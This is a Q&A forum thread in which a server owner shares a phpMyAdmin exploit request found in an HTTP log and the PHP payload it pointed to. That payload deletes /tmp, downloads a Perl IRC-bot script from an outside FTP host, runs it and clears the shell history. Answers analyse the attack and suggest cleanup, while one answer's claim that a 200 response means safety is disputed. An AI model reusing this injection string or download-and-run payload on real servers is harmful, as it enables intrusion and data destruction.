Take the 2-minute tour ×
Ask Ubuntu is a question and answer site for Ubuntu users and developers. It's 100% free, no registration required.

Please help me! I realized that the following is logged in my http log file.

action=lay_navigation&eoltype=unix&token=a13369792c1a33ec1130500ca821c5a4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A47%3A%22ftp%3A%2F%2Fhawk1156%3ATuNPKPK123%40hawkish.co.uk%2Fieh.ico%22%3B%7D%7D

When I decode it, it becomes

action=lay_navigation&eoltype=unix&token=a13369792c1a33ec1130500ca821c5a4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:47:"ftp://hawk1156:TuNPKPK123@hawkish.co.uk/ieh.ico";}}

I got worried about the suspicious ftp link, and I decided to download it.

wget ftp://hawk1156:TuNPKPK123@hawkish.co.uk/ieh.ico

The content of the file was like this:

<? system("cd /tmp;rm -rf *;wget ftp://hawk1156:TuNPKPK123@hawkish.co.uk/2.txt;perl 2.txt;curl -O hawk1156://ftp:TuNPKPK123@hawkish.co.uk/2.txt;perl 2.txt;fetch hawk1156://ftp:TuNPKPK123@hawkish.co.uk/2.txt;perl 2.txt;rm -rf 2.txt;history -c;");exit?>

Of course, I did never execute it by myself, but I am not sure if my server has already been hacked at this point. What should I do? I don't know where to start.

share|improve this question
    
Yeah, from quickly looking at the perl script, it is a headless IRC client. Looks like an ircbot used to control an IRC channel. Definitely malware. –  January Oct 27 '12 at 15:47
    
An attempt to connect to the FTP server now results in a failure to authenticate. Connection to the server over HTTP gives a failure due to a supposed account suspension. –  hexafraction Nov 4 '12 at 0:27

2 Answers 2

Nothing bad so far, but there is no way to know yet.

Looking at the suspicious system comment, the command it tries to get you to run appears to delete everything in /tmp, but nowhere else. Moreover, the site in suspicion has been taken down by the hosting provider, so now there should be little to worry about. Do note that MySQL connections over sockets and services will fail until the next reboot due to the deletion of files from /tmp but no data should have been lost(except your bash history).

I'd just informally tell a PHPMyAdmin developer, so if it is not a security flaw that can be misused, a bug deal isn't really made over it.

Bolded are the interesting bits of commands in the large injected code:

<? system("cd /tmp;rm -rf * ... history -c;");exit?>

Also looking through, there is a file, ftp://hawk1156:TuNPKPK123@hawkish.co.uk/2.txt that may have done something bad, but since I don't know what was in the file, and the hosting provider has taken the account down, there is no way to know what it does unless you manage to ext4undelete it to try to get a tally of the damage. *It may have done something bad.* If you do indeed unearth the file with an undelete utility, post it here and I'll gladly look at it.

Edit: Thanks to January's comment, which I haven't noticed, the most this attack appears to have done is to create an IRC bot. If there is still perl executing, and you do not have any critical services that run on PERL, then run:

sudo killall perl

or reboot.

share|improve this answer

Yes, someone is attempting to do a PMA (PhpMyAdmin) exploit onto your system as long as your server return a 200 on that request you should be fine.

share|improve this answer
1  
This does not have enough specific evidence and sounds like speculation. Also, a 200 does not mean everything is fine in terms of the exploit. –  hexafraction Nov 4 '12 at 0:24

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.